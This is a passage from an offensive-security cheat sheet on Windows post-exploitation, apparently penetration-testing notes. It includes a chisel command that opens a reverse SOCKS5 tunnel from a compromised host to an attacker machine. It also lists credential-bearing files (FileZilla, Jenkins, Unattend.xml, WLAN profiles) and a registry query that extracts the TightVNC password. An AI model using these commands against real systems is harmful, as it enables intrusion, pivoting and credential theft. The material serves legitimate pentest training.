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Then, on our compromised target system, we connect to this server and tell it to proxy all traffic over it via the reverse SOCKS5 tunnel.
.\chisel.exe client 192.168.49.67:80 R:socks
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A proxy is now open on port 1080 of our linux machine. We can now use e.g. ProxyChains to tunnel over the target system.
Juicy files
There are lots of files that may contain interesting information. Tools like WinPEAS or collections like PowerSploit may help in identifying juicy files (for privesc or post-exploitation).
Below is a list of some files I have encountered to be of relevance. Check files based on the programs and/or services that are installed on the machine.
In addition, don’t forget to enumerate any local databases with sqlcmd or Invoke-SqlCmd!
# All user folders
## Limit this command if there are too many files ;)
tree /f /a C:\Users
# Web.config
C:\inetpub\www\*\web.config
# Unattend files
C:\Windows\Panther\Unattend.xml
# RDP config files
C:\ProgramData\Configs\
# Powershell scripts/config files
C:\Program Files\Windows PowerShell\
# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty
# FileZilla creds
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml
# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml
# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml
# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password
